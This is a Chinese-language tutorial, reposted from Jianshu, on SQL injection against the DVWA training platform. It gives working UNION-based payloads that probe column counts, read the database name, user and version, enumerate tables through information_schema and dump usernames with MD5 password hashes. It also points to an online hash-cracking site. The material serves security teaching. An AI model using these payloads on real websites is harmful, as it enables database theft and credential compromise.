Sql 注入漏洞详解

一、Sql 注入漏洞详解

1.1 Sql 注入产生原因及威胁:

当我们访问动态网页时,Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的 Sql 请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点:

・猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
・绕过认证,列如绕过验证登录网站后台。
・注入可以借助数据库的存储过程进行提权等操作

1.2 Sql 注入示例一。猜解数据库

接下来我们通过一个实例,让你更加清楚的理解 Sql 注入猜解数据库是如何发生的。
使用 DVWA 渗透测试平台,作为攻击测试的目标:

先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):

那实际上后台执行了什么样的 Sql 语句呢?点击 view source 查看源代码 ,其中的 SQL 查询代码为:

可以看到,实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';
我们是通过控制参数 Id 的值来返回我们需要的信息。
如果我们不按常理出牌,比如在输入框中输入 1' order by 1#
实际执行的 Sql 语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
这条语句的意思是查询 users 表中 user_id 为 1 的数据并按第一字段排行。

输入 1' order by 1#1' order by 2#时都返回正常:


当输入 1' order by 3#时,返回错误:

由此可知,users 表中只有两个字段,数据为两列。

接下来我们使用 union select 联合查询继续获取信息。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入 1' union select database(),user()# 进行查询 :

・database () 将会返回当前网站所使用的数据库名字.
・user () 将会返回执行当前查询的用户名.

实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

通过上图返回信息,我们成功获取到:

当前网站使用数据库为 dvwa .
当前执行查询用户名为 root@localhost .
同理我们再输入 1' union select version(),@@version_compile_os#进行查询:

version () 获取当前数据库版本.
@@version_compile_os 获取当前操作系统。
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

通过上图返回信息,我们又成功获取到:

・当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
・当前操作系统为 : debian-linux-gnu

接下来我们尝试获取 dvwa 数据库中的表名。
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

我们输入 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询:
实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通过上图返回信息,我们再获取到:

・dvwa 数据库有两个数据表,分别是 guestbook 和 users .
有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测 users 表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询:
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 www.cmd5.com 进行解密。
直此,同学们应该已经对 Sql 注入有了一个大概得了解,也清楚了 Sql 注入的强大。

转自:简书 - Jewel591-sql 注入基础原理(超详细)